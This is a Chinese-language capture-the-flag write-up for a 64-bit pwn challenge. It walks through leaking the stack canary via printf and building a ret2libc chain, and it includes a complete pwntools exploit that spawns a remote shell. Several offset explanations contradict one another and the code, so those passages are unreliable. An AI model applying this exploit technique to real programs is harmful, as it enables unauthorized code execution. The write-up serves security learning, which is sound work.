Checksec & IDA
![](https://img-blog.csdnimg.cn/img_convert/675e097cd79a423199a5d1b87205140a.png)
开启了Canary和NX,再来看看IDA中是怎样的。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
sub_4006E2();
return 0LL;
}
unsigned __int64 sub_4006E2()
{
char buf[8]; // [rsp+10h] [rbp-50h] BYREF
FILE *v2; // [rsp+18h] [rbp-48h]
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
v2 = stdin;
puts("Do you know how to do buffer overflow?");
read(0, buf, 0x100uLL);
printf("%s. Try harder!", buf);
read(0, buf, 0x100uLL);
puts("I hope you win");
return __readfsqword(0x28u) ^ v3;
}
![](https://img-blog.csdnimg.cn/img_convert/320faf24fd984083af6cc58ee0e51818.png)
很显然栈溢出漏洞位于read函数中,buf大小为0x50,而read函数的第三参数,也就是输出/写入/输出的最大的字节长度为0x100,就是2个buf大小的数据。
但是本题开启了Canary,因此我们不能直接进行栈溢出以及Ret2Libc攻击。
我们可以发现,我们输入的Payload会被第二段的printf打印出来。也就是说可以利用这个printf打印出来Canary,将Canary原封不动的归位,即可跳过检测。
printf("%s. Try harder!", buf);
Canary是位于EBP之前的一串随机数据,用来防止栈上的内容溢出进行某些危险攻击的。因此如果我们需要泄露Canary,我们可以这么构造Padding:
Padding = b'A' * ( 0x50 - 0x08 )
为什么是0x50 - 0x08?
我们都知道Canary 会在栈上添加一个随机值,以保护程序免受缓冲区溢出攻击,但是也会在栈上多占用一些空间。
也就是说:
假如我的 buf 大小为 0x50
如果是 64 位程序,那么 Canary 就会在栈上额外占用 0x08 的空间作为随机值。
也就是说 我的可用空间只有 0x42 。
开启 Canary : RBP 位于 0x50 + 0x08,Canary位于0x50 - 0x08,Return Address位于0x50 + 0x16
而 0x50 + 0x08 在不开启 Canary 的情况下是 Return Address 的地址
关闭 Canary : RBP 位于 0x50,Return Address位于0x50 + 0x08
这时候的 0x50 + 0x08 是 Return Address 的地址。
因此泄露Canary的Payload如下:
Padding = b'A' * ( 0x50 - 0x08 )
io.recvuntil(b'overflow?')
Payload_Canary = Padding
io.sendline(Payload_Canary)
io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n')
Canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success("Canary: " + (hex(Canary)))
这里有72个A,代表了Padding。暂时还没搞懂为什么直接填Padding会报错无效。
\n 是换行符,因为我们使用的是sendline,会自动在结尾加上换行符。
为什么Canary是接收7个字节:
Paload发送了0x49个字节,总共0x50个字节,程序会把Canary放在变量起始位置,所以只需要接收7个,然后用一个0填充即可。
具体思路如下:
因为Canary是栈中的一个随机值,我们通过printf泄露Canary,然后将其填充至它本来应该在的位置,就能通过检查。
也就是泄露真实地址和getshell的Payload也得这样构造:
Payload_Leak = Padding + p64(Canary) + Padding_Ret + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
Payload_Shell = Padding + p64(Canary) + Padding_Ret + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
Padding就是上文泄露Canary的Payload
Canary就是Canary的数据
Padding_Ret 代表覆盖原先栈上的 RBP
Ret 用来平衡栈帧
Rdi 用来存放 system 的第一个函数,也就是 /bin/sh 字符串的地址的。
接下来就是常规的Ret2Libc的解法,不多赘述。
EXP:
from pwn import *
from LibcSearcher import *
#io = process("/home/Kaguya/桌面/Pwn/littleof")
io = remote("1.14.71.254",28499)
elf = ELF("/home/Kaguya/桌面/Pwn/littleof")
context(log_level = 'debug',arch = 'amd64',os = 'linux')
rdi = 0x400863
ret = 0x40059E
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x400789
Padding = b'A' * ( 0x50 - 0x08 )
Padding_Ret = b'A' * 0x08
io.recvuntil(b'overflow?')
Payload_Canary = Padding
io.sendline(Payload_Canary)
io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n')
Canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success("Canary: " + (hex(Canary)))
Payload_Leak = Padding + p64(Canary) + Padding_Ret + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter(b'Try harder!',Payload_Leak)
addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.success("Real Address: " + (hex(addr)))
# Local
#ibc = LibcSearcher('puts',addr)
#base = addr - libc.dump('puts')
#system = base + libc.dump('system')
#binsh = base + libc.dump('str_bin_sh')
# Remote
base = addr - 0x080aa0
system = base + 0x04f550
binsh = base + 0x1b3e1a
io.recvuntil(b'overflow?')
Payload_Canary = Padding
io.sendline(Payload_Canary)
io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n')
Canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success("Canary: " + (hex(Canary)))
Payload_Shell = Padding + p64(Canary) + Padding_Ret + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendlineafter(b'Try harder!',Payload_Shell)
io.interactive()
![](https://img-blog.csdnimg.cn/img_convert/9aacd2cc1c9649c38d6879b85bb12f40.png)
平台的libc和本地算出来是不一样的,平台的libc是libc6_2.27-3ubuntu1.4_amd64
本地是 libc6_2.31-0ubuntu9.9_amd64
每个人环境不同,但是本地的偏移是打不通平台的,需要去libc database search网站查找libc6_2.27-3ubuntu1.4_amd64的偏移地址。